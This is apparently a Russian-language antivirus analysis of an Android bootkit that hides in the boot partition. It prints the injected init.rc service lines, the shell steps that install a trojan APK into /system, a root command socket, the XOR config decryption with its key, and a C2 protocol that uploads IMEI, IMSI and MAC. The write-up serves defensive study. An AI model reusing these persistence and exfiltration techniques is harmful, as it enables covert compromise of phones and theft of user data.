Троянская программа, располагающаяся в загрузочной области файловой системы Android-устройств.
При старте зараженного устройства происходит распаковка образа ядра, который уже содержит модифицированный скрипт инициализации init.rc, а также троянские компоненты /sbin/imei_chk и /sbin/.bootinfo, после чего операционной системой осуществляется считывание скрипта init.rc.
init.rc содержит следующие изменения:
service imei_chk /sbin/imei_chk
class core
socket imei_chk stream 666
Основываясь на этих командах, ОС запускает буткит /sbin/imei_chk и создает сокет с одноименным названием.
Работа буткита
/sbin/imei_chk играет роль установщика троянских приложений GoogleKernel.apk и libgooglekernel.so, а так же роль гейта, через который GoogleKernel.apk может выполнять команды с правами root через сокет с адресом imei_chk.
При запуске буткит распаковывает из своего тела файлы GoogleKernel.apk и libgooglekernel.so и устанавливает их:
#сканирует /proc/mounts и определяет монтирование /system
#перемонтирует system на запись
mount -o remount,rw %s /system
#сохраняет libgooglekernel.so
/system/lib/libgooglekernel.so
chown system.system libgooglekernel.so
chmod 644 libgooglekernel.so
#копирует GoogleKernel.apk
/system/app/GoogleKernel.apk
chown system.system GoogleKernel.apk
chmod 644 GoogleKernel.apk
mount -o remount,ro rootfs /system
pm enable com.android.googlekernel
Затем из переменных окружения буткит находит сокет, созданный ранее при старте ОС, и начинает слушать команды:
cmds - может выполнить любую команду в консоли с правами root
get_mnt_dev_name - имя монтируемого устройства
get_channel_id - возвращает 888888 или строчку из /sbin/.bootinfo
Компоненты GoogleKernel.apk и libgooglekernel.so
GoogleKernel.apk представляет из себя троянца-бота, реализованного в виде сервиса. Содержит в своих ресурсах lib/armeabi/libgooglekernel.so, который может быть задействован при отсутствии root-привилегий. Тесно взаимодействует с библиотекой libgooglekernel.so, имеющей большое количество экспортируемых функций и осуществляющий основной функционал бота. Кроме того, native-код данной библиотеки может вызывать Java-классы посредством JNI.
При запуске GoogleKernel.apk создает программный поток и вызывает основную экспортируемую функцию doWork.
Протокол общения с сервером
Бот имеет несколько командных серверов и может получать новые списки последних.
1 шаг - получение списка доменов
Вначале бот считывает свой конфигурационный файл и расшифровывает его:
/data/data/com.android.googlekernel/db/data.i
Метод шифрования:
function despan($data){
$key="\xA1\x12\xF3\x92\xAE\x3E\x29\xCD";
$l=strlen($data);
$s="";
$j=0;
for ($i=0;$i<$l;$i++){
$s.=chr(ord($data[$i])^ord($key[$j]));
$j++;
$j=$j%8;
}
return $s;
}
Также он проверяет контрольную сумму файла:
function checksum($data){
$r=0;
$l=strlen($data);
for ($i=0;$i<$l;$i++){
$r=$r+(ord($data[$i]));
}
return $r;
}
Структура файла:
struct CFG{
uint8 encrypt_data[];
uint32 sum;
};
Данный файл содержит список доменов через запятую. Если файл отсутствует, то осуществляется его загрузка по адресу http://info.[xxxxxxxxxx].com/data.i
В ответ на запрос загрузки поступает зашифрованный файл с данными о его контрольной сумме. Файл без проверки сохраняется в /data/data/com.android.googlekernel/db/data.i.
2 шаг – GET-запрос и получение базовой конфигурации для активации резервных серверов бота
GoogleKernel.apk последовательно выполняет GET-запросы к доменам из списка /data/data/com.android.googlekernel/db/data.i на скрипт %chanal_id%.json, при этом параметр chanal_id прописан в теле бота (значение равно 8008). В ответ бот ждет JSON-объект. Файл конфигурации может содержать следующие команды:
- su - активировать HZ_main (http://[xxxxxxxx]666.com:8090/backurl.do, [xxxxxxxx]666.com, [xxxxxxxx]666.com) и main (http://[xxxx]108.net/install.html, [xxx]6.com, [xxxx]fy.com, [xxx]jobs.com);
- type - активировать MY_main (http://[xxxxxxx]999.com:8090/backurl.do, [xxxxxxxx6666].com);
- install - скачать и установить apk-файл на устройство; содержит дополнительные параметры (id, app, main, ver, vercode, size, path);
- uninstall - удалить apk (app).
3 шаг – POST-запрос, отправка статистики о боте
В зависимости от применяемого типа команд - "su" (HZ_main, main) и "type" (MY_main) - активируется соответствующий функционал бота и его конфигурационные файлы. Эти функции идентичны и отличаются лишь доменными именами и путями хранения настроек.
Функция MY_main
Директория хранения файлов:
/data/data/com.android.googlekernel/bakdata/
mnt/sdcard/.android_security/bakdata.i
bakdata.i - хранит управляющий сервер [xxxxxxxxx]666.com
dns.i - домены параметра dns
post.i
db.i
Отправляется POST-запрос по адресу [xxxxxxxxx666].com на порт 8090 или 9090, а также скрипт /installreq.do /installreq2.do с информацией о боте в формате gzip (urlencode(JSON)):
<?xml version='1.0' encoding='UTF-8 ' ?>
<HB>
<DN>golden</DN> #Build.DEVICE
<DT>GT-I8190</DT> #Build.MODEL
<OS>4.1.2</OS> #Build.VERSION.RELEASE
<EI>356507059351894</EI> #localTelephonyManager.getDeviceId()
<SI>250026699187743</SI> #localTelephonyManager.getSubscriberId()
<AC>30</AC> #versionspan
<PN>3.0</PN> #versionName
<ID>8631ccb43a5dc066ae7920c43f36dc40</ID> #getId
<CI>8008</CI> #getChannelId
<TN></TN> #localTelephonyManager.getLine1Number()
<NE>TYPE_WIFI</NE> #NETWORK_TYPE
<MAC>9C:3A:AF:51:01:F6</MAC> #MAC
<PATH>D</PATH> #debug, release
<ISS />
<RSS />
</HB>
В ответ бот ждет JSON-команду:
[{"addr":"","cardid":"db8ce287d3e712a9c2936a39bf165e43","dns":"[xxxxxxxx]66.com","repost":"1","time":"720","install":[],"uninstall":[]}]
Возможные команды:
- addr - номер телефона, функция не реализована;
- install - установить apk;
- uninstall - удалить apk;
- dns - домены (ACTION_TEST_BROADCAST, TEST_BROADCAST_LABEL выполняет broadcast);
- repost – число;
- cardid - сервер отдает id, который потом сохраняется в файл;
- time – таймаут.
Функция HZ_main
http://[xxxxxxxx]666.com:8090/backurl.do
[xxxxxxxx]666.com,[xxxxxxxx]666.com
/data/data/com.android.googlekernel/bak/
dns.i
post.i
db.i
mnt/sdcard/.android_security/
mnt/sdcard/.android_security/bakdb.i
Функция main
http://[xxxx]108.net/install.html
[xx]y6.com,[xxxx]fy.com,[xxx]jobs.com
/data/data/com.android.googlekernel/data/
dns.i
post.i
db.i
mnt/sdcard/.android_security/
mnt/sdcard/.android_security/db.i
Данная функция отправляет отчет GET:
http://[xxxxxxxx]666.com:8090/installapp.do?cardid=db8ce287d3e712a9c2936a39bf165e43&appid=db8ce287d3e712a9c2936a39bf165e44&net=NETWORK_TYPE_UMTS&channelid=540042
Домены, которые бот получает с сервера:
[xxx]pfr.net, [xxx]ile.net, [xx]ppw.net, [xxx]tte.net